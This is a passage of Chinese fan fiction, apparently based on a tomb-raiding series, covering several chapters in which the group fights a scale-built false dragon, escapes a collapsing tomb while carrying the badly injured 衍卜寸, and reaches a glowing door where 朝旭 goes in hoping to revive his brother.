一瞬间，火光冲天，柱子上的盘龙没有眼睛，但似乎感受到热量蒸腾，所以发出了凄厉的声音，而地上的伪龙，却没有因为这样的热度而难受，它烦躁地甩了甩自己的长尾，不解地抬头，它没有眼睛，也没有听力，却实实在在的，只冲着那个叫的最大声的盘龙柱甩了甩尾巴。 但力度之大，刹那间就让那根柱子的底端断了一截，随着第一根柱子的倒塌，意识到伪龙即将对剩余的盘龙下手的大家，立刻不顾一切的对伪龙开着枪。 它没有脊骨支撑的，只用着一股不明力量所牵住龙鳞的尾部，所以很轻易地，它的尾端就被子弹打的散落一地，但下一刻又慢吞吞地再次重组起来。 “这是那东西留的最后手！龙鳞里有它残余的力量，或者是魂魄，和黑瞎子你说的没错，我确实入他的局了。”衍卜寸立刻将张祈灵拽远了些，“它知道我会来，它用我来重建它在外面的身体，它用这些人的愿望，来完成它自己的永生！它的智力比我们想的都要高。” “你别感叹了！”黑瞎子被衍卜寸这一套连招，搞的感觉自己脸上被吐了好些没什么用的沫子，但其实，他距离衍卜寸并不是很近……所以他提醒着，“你说说怎么对付它就行了！！！” “我在衍光善的卷轴上，看到过麒麟火可以灭世间生灵，阿祈还有张启灵，我需要你们的帮忙，我会将它固定住，烧死它！”衍卜寸快速的说道。 这引来胖子在危机状况下，砰砰地连续开两枪后，仍然忙中抽闲的，萌生出了强烈好奇心，“卜寸小同志，我有时间，真应该看看你说的衍光善的那什么卷轴，怎么感觉里面啥都有，他有这个好东西，咋就能被你轻而易举的偷走了。” “也许，是因为衍光善知道自己没办法背叛它，所以故意留给衍卜寸，准备让他代替自己去弑神呢？”朝旭轻飘飘地说道，仿佛这就是事实。 也许他是对的。 众人都这么想，随即，朝旭又看了一眼那伪龙，仿佛透过它，看穿了什么，“反正，我觉得以衍光善那个性格，能让他对一个生物有绝对的忠诚和服从，只会是对方可以随意拿捏他的生命，而他自负自傲，如果自己的性命长久的拴在一个不安定的家伙身上，他不反抗，那就不是他了。” 衍卜寸没有立即回话，只是奔跑着，趁着大家将伪龙的尾巴打断后，它短暂无法行动的时间里，自己则快速把红线缠在了剩余的柱子上。 “所以你认为，其实现在的所有人，都是统一战线的吗？”解雨臣问的时候，也没有给伪龙喘息的机会，他开的枪又快又准，直把那伪龙打的龙鳞来回的掉。 朝旭摇了摇头，看了一眼皮囊已经微微有些纸人沾水般，略显斑驳的清如，嘴角的笑容第一次勾了起来，却不是对着自己的弟弟的，“我可没有这么说，毕竟，有的人求神，有的人弑神，谁又能说的准呢？” 第233章 生 柱子上的盘龙呼啸，似乎与鳞片伪龙真正撕破了所有的脸面，震得整个地底抖了又抖。 而地面上的鄢啸南，因为这样的地动山摇，而好不容易的站稳脚跟，他的白骨拐杖撅在地上，以根本无法想象的下腰角度，躲过了冲自己抽过来的一根藤条。 打在地上的绿色藤蔓，很快剥离掉了伪装，它的头部像蛇，嘴有利齿，腹部还带着章鱼的吸盘，蠕动的时候，还能看到它的鳞片下，所溢出的黏腻液体。 鄢啸南那单只的红色眸子眯了眯，判断着这东西究竟是什么东西，可惜，他翻阅了自己脑袋里千百年储存的一些光怪陆离的人和物，都无法给这个嵌合体下一个准确的定论。 直到接连不断的藤条抽动和头顶盘旋的乌鸦坠落，一起袭来的时候，鄢啸南只能加快自己的步伐，一瘸一拐的，拼命用骨杖往前杵，几乎是在做标准的跳杆动作。 此时此刻，危机不断的来临，鄢啸南身后原本固定住的树木，也开始拔地而起，就像是民间传说里提到的会跑的人参似的，用着它那粗壮绵延的树根，像一条张牙舞爪的章鱼似的，笨拙而执拗的跟着渺小的鄢啸南跑。 这样的动荡，很快也引起了地底里大家的注意。 原本的张祈灵，一直在看着衍卜寸的动作，等待机房发号施令，可他突然听到了什么动静，导致他骤然抬起头，看向脑袋顶上的石面，似乎因为上层的哪处塌陷，导致破坏了墓体结构，导致天花板的承重到了极限，甚至生生裂出了如蛛网般的纹路！ “靠，是上头的尸蟞都聚在一块了吗？！”胖子没有张祈灵那么灵敏的耳朵，于是顺着他的视线，一起抬起头去看，直到他发觉那天花板即将坠下来时，神色间根本来不及露出惊诧，便大喊着，“这不会塌吧！” 还在缠着伪龙身躯的衍卜寸，此刻的脚步也微顿住，随即，他也意识到这个地底墓真的会塌陷时，便立刻将自己的动作加速，跑的也更快了起来。 几乎是将伪龙当成了一个中心定点，而他就是那个控制力量的，即将抽动陀螺的卡尺杆儿。 于是，就在这一刹那间，衍卜寸便停住了脚步，利用自己的离心力，换伪龙狠狠地甩在了墙面上，并让它拖着残体在各个柱子旁边绕。 让伪龙暂时失去行动力以后，衍卜寸便朝着众人的相反的方向跑，姿势扭曲的很，像只异化的丧尸似的，近乎每跑一步，他的腰都在往后仰折几分，但他还是坚持着将自己的猜测说出来，生怕来不及交代这些似的，“肯定是鄢啸南那里出问题了！大家快找暗门！！！” 说完以后，所有人刚动身，就看到衍卜寸跟不要命似的，用这明显异常的身体，嘭的一下朝着墙体撞去。 幸亏是张祈灵眼疾手快将他一扯，这才让他幸免于难，但也就是这一下，致使衍卜寸腰间的红线绳瞬间断裂开来，连眼镜也飞了出去。 这不是张祈灵救人心切而犯的致命错误！ 而是…… 张祈灵抱着衍卜寸，将他整个人翻了过来，背部朝着自己，他的指尖，现在正顺着衍卜寸的脊背一点点的往下滑，等最终停留在对方的尾椎那里时，他的手才一下子顿住。 平日里最为冷静的张祈灵，在发现衍卜寸的创口处时，竟让那眸子里充斥了以前从未见过的极端慌乱，然后，他快速将目光投向霍道夫和清如，像个第一次面对死亡恐惧的孩子。 “断了……我知道。”衍卜寸借着张祈灵的胳膊，翻了个身，撑起了脊背，他第一眼先往那墙体看去，后又愧疚的看着张祈灵，声音轻的仿佛下一秒就会睡过去似的，“我现在没法…没法去看墙后的结构，刚才不…不是我故意撞墙的，是没时间了。” 衍卜寸怕自己的行为，让张祈灵厌恶。 但张祈灵根本不会计较这些，他听后，立刻将自己的背包丢了下去，然后把衍卜寸背了起来，霍道夫和慢一拍一直在垂着头的清如同时走了过来。 其他人则在敬业的去找那暗门，吴峫没有小哥的洞察力，也没有黑瞎子的听声辨位，他们只能和解雨臣还有胖子，用拳头一点点的去砸墙面，去听中空的回响，可惜，他们所敲的都是实心，在运气这方面，他们也是差所有人一大截。 “我看不到你们嘴里的红线。”霍道夫摸着衍卜寸的尾椎，“但我能够确定的是，他把自己脊椎下半部分的骨头都干碎了，现在出去还能够紧急处理，但也需要立马就医，咱们车内的医疗条件不能动手术。” 张祈灵点了点头，而一直在看着衍卜寸的清如，却没有说任何的话，当然，张祈灵也不想等。 而就在他们这对话的半分钟里，沙土终于破开了石壁，如雨水般，淅淅沥沥成为小细条般往下流，里头还掺着一些六神无主，胡乱爬行的尸蟞。 “找到门了！”黑瞎子喊着，然后便踹了一脚西面的墙体，此时胖子听见，适时丢过来了一排雷管。 哪怕看不见，黑瞎子接住的动作也非常的流畅，小哥给他搭了把手，将雷管固定住。 随着雷管定好后的第一声爆炸响起，头顶的沙土像是突然被凿开的铁板一样，瞬间坠落了下来，炸的地面一震，而伪龙还没有找到自己的所有鳞片重构身躯，就被这毫不留情的土，所狠狠捶进了地砖里。 紧接着，被柱子所固定住的盘龙怒嚎，仿佛是在控诉自己才刚获得的生命就将要消逝一样，吼的声音，刺耳磨人的难听。 众人匆匆进入暗门，张祈灵背着快要失去意识的衍卜寸不断的往前跑，漆黑的长廊里除了未知的恐惧，还有大家不敢停歇，每多走一步，衍卜寸便多一分获救的希望。 直到，嘭的又一声巨响，他们身后的一切，都被无情的沙石泥土所掩盖，连脱离地面的大树也追丢了它的目标人物。 现在的鄢啸南，已经躲藏到了高山后的一个自然形成的窑洞里，他精疲力尽的倚靠在墙面刚停歇了会儿，就突然听见那洞穴深处的蝙蝠，正扑闪着翅膀全部都飞了出来。 它们直往外面的湛蓝天空上涌，完全违背了自己喜暗畏光的习性。 鄢啸南凝了凝神，盯住它们飞绕，如果说前面的乌鸦盘旋，是在提醒这群怪物的巨大化的话，那么现在蝙蝠的异样，也是在警告自己什么。 他看着它们排成了一个古老的文字， ——生。 随后，那生字便被大树抽条的枝干和藤蔓拦断，蝙蝠的鲜血和乌鸦的一起落下，唯独剩下的一部分，战战兢兢的排成了个死字。 仿佛是门后的那家伙，在干预所有人本来的生命轨迹一样，鄢啸南不肯认命的转身，挤着自己虾米般的细缝眼，从那漆黑的洞穴里，看到了具象化飘散出来的磁场振动，突然像被什么东西抚平了一样，渐渐的，慢慢的，停歇下来。 树木与所有生物的动作蓦然停住， 它所创造出的事物，正对抗它所创造出的怪物！ 地面下的张祈灵，正不断的摇着铃铛，躲避着甬道里层出不穷，不知道从哪里蹦出来的血尸们。 而接收到青铜母铃磁场影响的血石，便突然停止住磨牙，那血盘大口，一时之间像是下巴脱臼般的合不拢，连身体的动作也变得僵硬起来。 甚至它们才跑出去两步就会摔倒在地，这吓得胖子抱着吴峫狠狠一跳脚。 第234章 请相信我 “这条路能出去吗？”霍道夫这么问完，感觉耳畔溜过了一阵黏腻的冷意，于是竭力将药箱往旁边一甩，砸的血尸脑袋转了一百八十度，开始对着墙啃。 奔走在前方的张祈灵并没有回答，他只是凭借着本能往前跑，毕竟他现在驮着人，没有办法抽出手来点亮打火机，去看清前面的情况，而且血尸还再四面八方层出不穷的涌来，虽有母铃的一定控制，但力量实在是有限，顶多能让距离近的它们服从的退到两侧而已。 所以回答霍道夫话语的，还是扒下血尸头颅的黑瞎子，“这条路是不是出去的我不知道，但是这些血尸能够进来这里，就证明肯定有别的路。” “但这条道真的忒长了！”胖子边说边揣着脚下的尸蟞，又继续说道，“不行干脆用雷管炸吧，直接开一条路挖出去。” “不行！”吴峫立刻拒绝，并解释起来，“上面的沙土已经塌陷下来了，证明着地面上的情况可能比我们想象的还要糟糕，甚至于如果放一排雷管炸开以后，我们都不能保证究竟是这个墓地先被淹，还是我们先跑出去。” “天真我知道是这个理。”胖子说完，又扒拉下自己肩膀上胡乱爬着的尸蟞，并朝着旁侧掷了出去，生怕是砸到人，“可是现在卜寸的情况不能等，可是万一……万一！” “没有万一。”衍卜寸在张祈灵的背上，将胖子即将脱口而出的话给瞬间噎住。 其实他知道胖子究竟在顾虑什么，按照霍道夫前面的未尽之言，所有人都能知道，如果自己不及时治疗，这人就是要废了，包括衍卜寸自己，也能逐渐感受到，那下肢的疼痛正渐渐变得麻木，哪怕只是非死即伤，但以后多半也是要瘫了。 不过，衍卜寸却并没有泄气，他反而是攥着张祈灵肩膀的衣料，向众人说着，“不用顾及我的情况，我知道我的身体是怎么样的，毕竟，我可是个怪物，大家作为兄弟，多信信我这天山童姥可好？” 张祈灵听了这话，眸子里闪烁着一丝为衍卜寸的痛惜，这也让他的手，不自觉地攥紧了背上人那已经毫无知觉的腿，直到，他确认对方真的没有任何回应后，指尖不可控的颤抖，完全不想相信的抿紧唇，并将步伐加快，连摇动铃铛的动作也更加拼命，几乎是将自己紧密咬合的牙关磨的全是血。 可是，他都这样了也感受不到疼，毕竟，这与衍卜寸的断骨，后半生有可能的瘫痪相比，算得了什么呢？ “往前跑就好了，阿祈，信我。”衍卜寸说这些话，就是摆明不想要听从张祈灵的指令，而让人最气的是，偏偏他最该痛呼，最该着急，但他的声线，就是出奇意料的稳。 衍卜寸似乎永远掌控着全局， 哪怕他已经率先脱离了原定计划。 就像是那种，哪怕知道的这样的情况，也能够接受一样，或者是真的如他所说的那样，他心中有一杆秤，知道自己的能力极限和几斤几两。 “你他妈在鬼扯什么？！”黑瞎子在后头听着，真的气急了，没有人能够接受自己的兄弟在自轻自贱，说些对他自己不负责任的话，“我告诉你衍卜寸，你要是再用那张破嘴说些什么，我就让祈一辈子都不搭理你！” 衍卜寸听到黑瞎子气急攻心的话语，立刻转过了头，用着那双在黑暗中散发着猩红的眸子，仔细地盯着黑瞎子，他是真瞧出来对方气急了，连黑瞎子那平日里不敢暴露的，与张祈灵之间的亲昵称呼也能脱口而出了。 这没来由的，让衍卜寸觉得自己是在和小学生斗嘴，他伏在张祈灵的背上，笑的胸膛颤抖，但牵扯到鬼玺时，又钻心地疼的厉害，这时候，他想要转一下身体又不敢，就只能以一个刁钻的小角度，将鼻尖和血尸的脸擦过，寻了个不会难受的姿势，轻轻卧着，怕压到张祈灵。 “放心，祸害还遗千年呢。”衍卜寸感受着张祈灵背着自己的一路颠簸，就是想要气黑瞎子。 胖子连忙调和气氛，“卜寸小同志，黑爷，你俩少说几句，咱还能跑的更快一点呢！而且，现在说什么以后谁搭不搭理谁的，咱得做一辈子的好兄弟呢，现在说啥话都太早了！” 黑瞎子哼了一声，朝着胖子拱了拱身子，贱兮兮的在心里骂了一句衍卜寸不识好歹后，就开始笑，“胖子，我知道，这里你是最有分寸的，出去以后，我让你买我的青椒肉丝炒饭，给你打一折！” “不是，一折太少了！”胖子下意识接茬，毕竟他的肚子真的在打鼓，因为下来一趟，好像一直在跑，确实没怎么进食。 黑瞎子拍了拍他的肩膀，一口白牙这回在漆黑的环境里，是怎么也不亮了，但明显，他被胖子刚才的话所哄的心情极好，所有的尾音都在上扬，哪怕看不见他，也知道他嘴角要咧到耳根了，“买不了吃亏，买不了上当啊，那可是青椒肉丝炒饭！” “师傅，别炒饭了。”吴峫这么打着岔，他就只有在这个环境里，才敢瞪黑瞎子了，“我们都快要掉到最后了，尸蟞咬屁股啊！” 如今落在最后的其实是解雨臣，他听了吴峫的话，立即将人向前微微推了推，一本真假的说，“我垫后，不会咬屁股。” 黑瞎子给解雨臣无声的在心里点了个赞，“小徒弟，你听到花爷说的没有？不会咬屁股的，但是你师傅我现在确实要加速了。” 说完，黑瞎子就一溜烟跑到前面去了，他的眼睛如今缓和了一点儿，估计确实是刚才伪龙的力量，导致他在接近魔城外围时，就因为那磁场干扰而导致了一定的失明，但现在，伪龙散成一团后，他就能够在黑暗中看清很多的东西了。 比如，张祈灵唇上晕染开来的血，和衍卜寸那惨白的不能再白的脸。 他看了一眼，原本还在笑的脸，瞬间就僵了，等收敛后，便满脸严肃的，一把将衍卜寸从张祈灵的背上给薅了下来。 “真不知道该说你们蠢还是一腔热血的执着，俩病号怎么就这么喜欢凑在一起。”黑瞎子调侃着，把包挂到衍卜寸的肩膀，又将衍卜寸给背了起来。 衍卜寸脱离开了自己的心爱之人，虽有不舍，但还是因为黑瞎子说的话，而考虑了张祈灵的身体状况，于是，他叹了口气，没有挣扎，反而安稳的趴在黑瞎子宽厚到能够明显感觉肌肉线条的后背上，但下一刻，他却如绿茶附体般的，呛的黑瞎子一阵恶心的说，“黑爷，什么叫凑在一起啊，我们这才不是强行拼凑，而是天生一对，佳偶天成。” “扯什么也没用，反正你是在我的背上待着呢，别想着再让人背着，给人家添麻烦。”黑瞎子挑了挑眉，在说完这句话后，又明目张胆的捏着张祈灵的脸，并命令着，“祈，你教我怎么摇铃铛，然后把这脏东西吐出来。” 张祈灵刚开始立刻摇了摇头拒绝着，但是意识到这样的节奏不对，并引起血尸的一阵嘶吼以后，他又示范着将正确的节奏做了一遍，控制住它们后，便乖巧将嘴里的青铜母铃吐了出来。 在了解完规律以后，黑瞎子瞬间就接住了铃铛，并将自己的右手抹了一把衣服内侧后，才探进了张祈灵的嘴里，如今，他的指腹正小心翼翼的摸着张祈灵的口腔上膛，后立刻意识到情况的严重性以后，立刻将霍道夫给拉了过来，“你有点眼力劲儿行不行？人口腔前半部分的肉都被磨开了，快点上药。” 命令完，黑瞎子就摇着铃铛，控制住了除众人外，所有死物和活物的动作，这也是给了大家暂时移动的保障，随后，他扭头，向衍卜寸低声问，“真的能撑住？不会瘫？” 衍卜寸坚定的点头，而这样的动作，使得下巴掉着黑瞎子的颈部，这人的身体上，似乎还掺着张祈灵的气息，这使得黑瞎子吸了吸鼻子，从浓重的血腥气中，竟然嗅到了皂角香。 “这么黑我又看不到！”霍道夫定在了他们的旁边，嘟嘟囔囔说着话，然后便打算在漆黑的环境里盲翻药箱，结果，他一抬头却突然感觉眼前一亮。 原来是张祈灵将衍卜寸的打火机打开了。 有了火光照亮周围后，霍道夫能够看到张祈灵现在正张着嘴，很是乖巧，但是他的嘴内外都是血，看起来吓人的很，而围过来的胖子和吴峫看到后，立刻急的要命，并齐声命令，“上药啊！” “没看到那血还在往下流吗？！”吴峫托住张祈灵的下巴，好像对方的颚骨要掉下来似的。 胖子也眼疾手快的固定住张祈灵的头，“快点啊！霍道夫，这伤能处理吧？！” 解雨臣和小哥也扣住了霍道夫的手，让他再凑得近一些。 此时此刻，霍道夫真切感受到了，拿钱手短吃人嘴软的结果，就是要被随叫随到的来回使唤，他在给张祈灵上药的过程里，细致到觉得自己不是在治疗，而是在完成一项什么巨大的工程，还是被二十四小时监工，连上厕所也要被围观的那种…… 但在这个过程中，张祈灵的目光却一直定在一个方向，与他视线触及的衍卜寸身上。 衍卜寸并没有躲避开自己初露端倪的关心，甚至还温柔的，让那嘴角抿出了乍暖还春的笑意。 这使得衍卜寸那苍白的脸，竟然多了几分的鲜活，而不是像个纸扎人一样的脆弱，紧接着，他怕张祈灵担心，便缓缓开口，解释着，“阿祈，我没事的，我在和怪怪还有小寸融合以后，身体素质是比以前要强的，而且，怪怪的本体是何罗鱼，所以阿祈，你应该相信章鱼再生能力。” ——请相信我。 黑瞎子听到他的话，没好气的拍了一下衍卜寸的头，像是在教训小孩为什么让大人白担心那么久。 随后他便转过身，留衍卜寸面对着张祈灵一直看个够，自己则盯着墙体处，同没有眼睛的血尸和无数只眼睛的尸蟞，一阵的大眼瞪小眼。 “看什么。”黑瞎子将铃铛逼在一只血尸的面前，欠嗖嗖的摇动，看起来凶神恶煞的，“有本事咬我啊？” 迷茫的血尸，盯着黑瞎子健康的麦色皮肤，随后非常自觉的，将身旁的尸蟞放在嘴里，然后麻木的嚼了嚼，像是在吃爆米花般咔哧咔哧的，并扯着嘴角讨好，跟脑干被抽了似的，笑出了一嘴的黏腻液体，缓慢地往下淌了一地。 第235章 成全我，就那么难吗 等伤口处理好以后，张祈灵就被吴峫捏住了嘴，眨巴着眼睛的时候，竟然有种可达鸭的无辜感。 衍卜寸没忍住，看着张祈灵那副乖巧的样子，一下子笑出了声，但这却让身体一抖，使得后腰处的断骨在体内摩擦了一下，几乎刺进了血肉，他脸色一白。 察觉到衍卜寸神色不对的张祈灵，立刻上前了一步，其他人的视线也转移了过来。 这让衍卜寸被大家的眼睛定定的注视着时，就像是个犯错事的孩子，他几乎是立刻就埋在了黑瞎子的背上，躲避掉了所有人的打量。 “能撑住吧？别说谎。”黑瞎子揉了把衍卜寸的头，却没能强硬逼迫他抬起脸，哄不了孩子，还不能哄天山童姥吗？ 衍卜寸听了这话，点了点头，虽语速慢慢，但条理格外的清晰，“我能撑住，往前走吧，后面的塌陷面积在增加，估计没一会儿顶部的砖就要被压下来了。” “听他的。”一旁的小哥，立刻答应下来，他是第一次站在衍卜寸的位置去考虑现今的情况。 毕竟，他看得出了黑瞎子的顾虑，也听得出衍卜寸有几分把握，因为里面如果真的有危险，衍卜寸是断不会让大家进去的，小哥知道衍卜寸不会赌。 正如他清楚张祈灵那样。 天生的洞察力，让他能够很快了解对方的所有生活习性，正因为他的眼睛，他的头脑，他的思考，在这时候，抛弃掉所有的什么衍家、青铜门和怪物，比其他人都要更直白和简单的，清楚这个人现今的所表达的一切善意，所以，他才能毫不犹豫的去答应衍卜寸的话。 小哥知道，衍卜寸不会害大家。 衍卜寸没想到，小哥能替黑瞎子认可这样的决断，但这时候特想赞许或者夸奖什么东西出来，也没什么力气了，索性，他微微点了下头，算是感谢了一下小哥的直言直语。 但他因为受伤，而体温失衡的有些凉，如今，这样的冷意磨在了黑瞎子的颈侧，让想要放下心的黑瞎子起了一阵莫名的鸡皮疙瘩。 “你……”黑瞎子转过头的角度有限，他是个向来大咧咧的人，如今却遇到个比自己还不要命的家伙，刚想要再提醒下，结果，下一秒他就被与霍道夫眼神交流过的胖子，给毫不留情地飞踢一脚。 这样的纠结就是在耽误时间，胖子拽着黑瞎子的袖口，却薅不动他，只能假装气势汹汹的对黑瞎子命令着，“往前走吧，听卜寸小同志的！” 这样的笃定和信任，此间的兄弟情义，真是将所有人的命，都彻底拴在了一条绳上，牢固到不怕火烧，不怕刀割。 黑瞎子扫了眼胖子和众人那坚定的眼神，无奈地笑了笑，在心里暗自感叹，怎么衍卜寸的蛊惑力，啊不，是号召力怎么能够那么大，就跟祈似的，总会让人不知不觉的臣服……一个门里出来的气质，总不能是批发的吧？ 这么想着，黑瞎子抬起脚步走之前，偏头看了一眼张祈灵。 对方正默默地跟在自己后面，因为才上完药，他刚才没法张开嘴说些什么，就只能以绝对服从的信任，亦步亦趋，像甩不掉的小尾巴一样，追在黑瞎子的身后，护着衍卜寸的脊背。 张祈灵的软刃扫清障碍，剔除了那些碍眼尸蟞的甲壳，斩断着那些血尸的头颅，他一寸寸的给众人扩大着行动空间，褐色的分泌物飞溅在他的身上，他不避不躲，用自己的身体挡着，不波及到后头的人。 “祈灵，停下！”吴峫看着张祈灵明显气喘的样子，想扶又不知道该碰哪里，手堪堪悬在那里，嘴里的气话用柔和的声线说了出来，像在哄人，“我们又不是襁褓中的婴儿，需要保护到一点血都看不了的地步！你现在受着伤，就不能先顾及自己吗？” 张祈灵微微转过头，依旧眨着他无辜的眼，打火机的火苗，现仍在他的手里摇曳不停，炽热的焰色跃在那眸子中，那里头正淌着吴峫焦急的神情，但很快，他便木木的点头，算是答应下来吴峫的请求。 然后很快，他的软刃便收到了身侧，也没有再对无穷无尽的尸蟞和血尸动手，而黑瞎子也已经走到了尽头，大敞开来的一扇门，里头仿佛流动着一种液化的物质，竟然会在漆黑的环境里，散发着金灿灿的光芒。 黑瞎子没有贸然的伸手，只是一直在观察，直到血尸突然从那门的液体里冲出来，并在听到母铃的动静后立刻的转弯之际，他及时错身躲了过去。 “衍卜寸，这是什么东西，液体麦芽糖？这怎么还会自己产出怪……”黑瞎子还没说完，就见一只尸鳖又从自己的头顶窜了过去，身上的粘液耷拉了下来，搞的他的头顶就像是被打了一颗鸡蛋黄般，黏糊的够呛。 黑瞎子嫌恶地咦了一声，往后吆喝着，“花儿爷，给条帕子用！” “不是，你们真的以为我是无限产出帕子的吗？”解雨臣这么说着，但还是掏了出来，让大家帮忙递到了黑瞎子的手里。 黑瞎子笑嘻嘻的擦了擦，嘴里说着喷喷香，爱不释手似的，但最后还是随便丢了出去，“这不是免费的随便用嘛，不是自己花钱的东西，用的就是安心。” “别贫了黑爷，这前头是什么东西啊？”胖子踮起脚，就只看到那门里金光闪闪，纳闷儿道，“血尸还掏金子用，给自己磨金牙呀？嘿，这不是嚯嚯宝贝吗？！” “胖子，你要不要来这里亲眼看看？”黑瞎子狡黠的说，“可壮观了！” 吴峫凭经验，意识到黑瞎子就是在诓人，立马把胖子拽住，可谁知道张祈灵一个健步就窜了过去，幸亏被黑瞎子捞住腰身，才没冲进门里。 “这是青铜门外围的液化层，估计里头是出了什么事，所以这些原本藏在门里的尸蟞和血尸才全部涌了出来。”衍卜寸这么分析着，看向了有些神志不清的张祈灵，“这种液体，对物质化的人会有一定的影响……” 朝旭听到这话的那一刻，立马冲到了门口，那力度，险些把黑瞎子和拽着的张祈灵给撞到门里，惹的黑瞎子头脑一热，立刻骂道，“不是你有病吧？往前冲什么冲，我知道你为你弟弟着急，但是你多少讲点先来后到好不好？” “说的好像你要进去似的。”朝旭白了黑瞎子一眼后，忙抽出一只手扯着衍卜寸的后领，逼迫他必须抬头看着自己，才问出口，“什么影响，对物质化的人有什么影响？” “诱惑。”衍卜寸感觉自己的喉结被领口压的死死的，声音有些哑，“会诱惑他们，回归到所谓它的怀抱里，只是现在里面可能出了一些问题，导致它麾下的那些家伙，开始往外跑。” “是因为母铃吗？”黑瞎子这么问，然后就转过身，让朝旭的手脱离开衍卜寸后，便将张祈灵给揉进了怀里，护犊子的很。 衍卜寸摇了摇头，“母铃的范围不会涉及到门内的生物，它只是会引导我们找到门的方向，我们现在也已经到达了这里，里面的异变，我并不知道怎么回事。” “别扯东扯西。”朝旭上前，离那流动的金色液体，仅一步之遥，他偏头，看向衍卜寸继续问，“你就告诉我，如果我现在进去再许一个愿望，能让我弟复活吗？” 一直在沉默的清如，拉上了自己外套的帽子，将脸压的很低，她像只鬼一样的飘到了朝旭的旁边，提醒着，“你的身体不可以，撑不住代价的。” 朝旭没有对女人动手的想法，只是瞪了瞪她，无差别攻击的说道： “说的好像你就撑得住一样。” 衍卜寸因为朝旭的话，而将视线顿在清如的身上，恍然间明白了一些东西。 “我以为你是聪明的。”衍卜寸显然，懂了清如的掩饰是什么，“我以为你是最聪明的那一个，为什么要！” 还没有说完，衍卜寸就听见了衣料摩擦的声音，他撑起身子，去看黑瞎子怀里的那个人的发旋。 张祈灵显然不知道他们在自己的耳边说着什么，他脑子里混沌的厉害，只知道凭本能去挣扎，可惜黑瞎子的桎梏强硬，让他无论怎么动都没办法冲进门里，但手上的软刃，却并没有划在黑瞎子的身上，他的基底意识在告诉自己，千万不能伤害任何人。 “黑瞎子，打晕阿祈。”衍卜寸绷紧了身体，心疼的一塌糊涂，“他现在只想进去，但不能以这个状态进去，如果他在潜意识里，认定了物质化的自己必须无条件的冲进门里，他很大可能会成为它的傀儡。” “傀儡？！”吴峫惊呼，但前面已经被他们几个人围堵的厉害，塞不下多的人了。 胖子的脸色也不好，但还是顺从了衍卜寸的建议，在尾端处小哥的保护下，声音颤抖的说道，“打晕吧，但黑爷你轻点，祈灵小兄弟怕疼。” 张牙舞爪的张祈灵像是预感到了什么，抬头看向黑瞎子，疑惑的目光还来不及闪烁，就感觉到了意识的剥离，只一瞬间，他的身体就瘫软在了黑瞎子的怀里。 “他会成为傀儡，那我弟呢？成为傀儡，也是一种活着吧。”朝旭搂紧了向阳。 衍卜寸转头看着他，发现朝旭就是一个疯子，“你也要步鄢啸南和他弟的后尘，让你的弟弟变成人不人鬼不鬼的家伙！” “你就告诉我，怎么找到它，趁它死前让我许最后一个愿望，就那么难吗？”朝旭俯下头，再次亲吻着向阳的嘴唇，虔诚至极。 成全我，就那么难吗。 衍卜寸深吸了一口气，看着这个陪伴了自己一千多年的同胞，感觉到自己的心脏抽的厉害，“随你，进去以后，你有心，就能找到。” 第236章 会缩小 尸蟞飞窜着，黑瞎子偏头躲过，空气里只余它们甲壳相撞的声音。 而鄢啸南看了一会儿后，也突然听到了这样的声响，这让他没有再停留，而是直接冲窑洞跑了进去，毕竟外头的怪物，他能杀就怪了，谁会傻到和那种庞然大物真的去硬碰硬？ 不过若是有人站在这里，就会发现他跑步的姿势很搞笑，鄢啸南跳着脚，拄着拐杖一步一步的蹦着往下走，就这样的时间里鄢啸南，还有空用自己的眼睛去打量周围。 据他所观察，这个洞并不是凭空生成的，更大可能性还是有人或者它预留的一个出口，这证明着自己想要返回到地底墓也未尝不可。 只是他还没有走几步，才蹚过了泥泞的路段，便蓦然顿住了身形，刚才所听到的声响，终于被他发现了源头，因为一大堆的尸蟞正伏在自己四周的墙上，还在不断的乱爬，密集程度像是散落一盘的芝麻，令人头皮和牙根发颤。 “衍卜寸他们闹出来的动静挺大呀。”鄢啸南这么说着，将拐杖底端叩在地面上，用手毫不犹豫的拨开了那群尸鳖，露出了下方的门。 果然和他料想的差不多，因为青铜母铃的控制，导致这些尸鳖已然丧失了攻击本能，只有竞走的肌肉记忆。 鄢啸南一步步的向下跑着，踏过石阶，用手抵住楼梯的把手，从缝隙间直接凌空一跃，结果可想而知，他直接于最顶端掉下了最低阶，被棉袄所裹得臃肿的身躯，猛的砸在地面上，发出了扑通的一声巨响，但这是鄢啸南能想到最快的方法了。 他的全身骨骼，都在这一刻碎裂掉，又在他重新爬起之际开始重组，这是衍光善换来的福祉，也是对他降下的诅咒，如怪物一般变态的治愈能力和一副绝不会死的身体，这就是他鄢啸南的真面目。 如今，鄢啸南拖着自己断骨的腿，在这样强大的肌肉骨骼重建中，亦步亦趋地往前走，他不敢说自己是以什么冠冕堂皇的理由去找衍卜寸的，只不过是上面的怪物实在是太强大了，自己就算是能够无限复生，但是也不能被这么虐杀。 疼痛是存在的，但如果这种伤处是他自己造成的，那鄢啸南还能尚且忍受这是自己作出来的果。 可大抵，他有着傲骨，拥有曾经叱咤风云的将军身份，这些荣耀，让曾经的他被万众民心，所塑造成了一个宁愿死在与属下齐心协力奋战的忠贞义胆当中，也绝不在敌营饱受屈辱的英雄形象。 但如果是让现在的鄢啸南，将这话简单的说出来，把更底层的想法所剖析一下，那么他只会眨动着那快要被褶皱完全覆盖掉的眼睛，木然的说，‘怕疼是人的本能，而我已经撑不住了。’ 衍卜寸因为脊椎碎裂的疼，不由的抖了一下，所有人如临大敌，险些又要将这个空间里塞的更排不开人，好在小哥就跟那拦车的杠杆似的，直接一挥臂，将剩余的人都控制在了一定的范围内，没去抢占前面本就不充裕的位置。 “谢谢。”朝旭抽空，冲着衍卜寸这么说完以后，竟然直接冲进了门里，这给黑瞎子和其他人看的一愣。 等反应过来的时候，黑瞎子才来得及问，“不是，用心找怎么找？你俩是在进行什么脑电波交流吗，还是要人家把心掏出来，用真的心脏去找啊，他怎么就那么信你呢？！” 衍家的家伙，简直就是群谜语人。 一路走来的信息少的可怜，大部分能够用的还都是衍卜寸自己主动说的，就算有时候问，也是听不懂，黑瞎子真的对衍卜寸这类张嘴只有半句话的人没辙了。 “他自己会理解的。”衍卜寸依旧是那副半语的样子，好像多说一句话就会死一样。 胖子听后，在心底里默默的碎碎念，这真是和那电视剧里临死前说凶手是谁的那个被害人似的，搞了半天，也吐不出什么关键线索，整的旁听的人也一阵的抓耳挠腮。 黑瞎子哼了一声，没好气的又装作打探，实际上是让衍卜寸再主动交代些，“还有什么注意事项，你一次性说完吧，别到时候又蹦出来几句，我都听不懂，你还指望他们其他人听懂？” 